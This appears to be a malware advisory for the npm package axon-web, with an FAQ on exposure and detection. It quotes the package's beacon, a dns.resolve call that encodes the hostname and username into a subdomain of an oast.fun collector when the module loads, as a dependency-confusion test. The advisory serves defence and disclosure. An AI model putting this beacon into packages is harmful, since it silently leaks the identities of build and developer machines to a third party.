MAL-2026-19222: Malicious code in axon-web (npm)
--- -= Per source details. Do not edit below this line.=-
Source: amazon-inspector (395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5) On module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.
Affected Software
Event History
Frequently Asked Questions
Who is exposed to the data leak?
Build systems and developer machines are exposed if they resolve the public npm package name instead of an intended internal package with the same name. The behavior runs when the package is loaded with require().
What information is sent out, and how is it transmitted?
The package reads the system hostname and the USER or USERNAME environment variable. It encodes those values into a subdomain and triggers a DNS resolution to an interactsh oast.fun collector.
Does exploitation require a user action after the package is loaded?
No. The DNS beacon fires automatically during module loading, with no additional caller action required.
How can I determine whether a system may have leaked information?
Check whether axon-web was installed or loaded on build or developer systems, particularly where an internal package of the same name was expected. Review DNS telemetry for queries to the specified oast.fun collector domain containing hostname and username-like labels.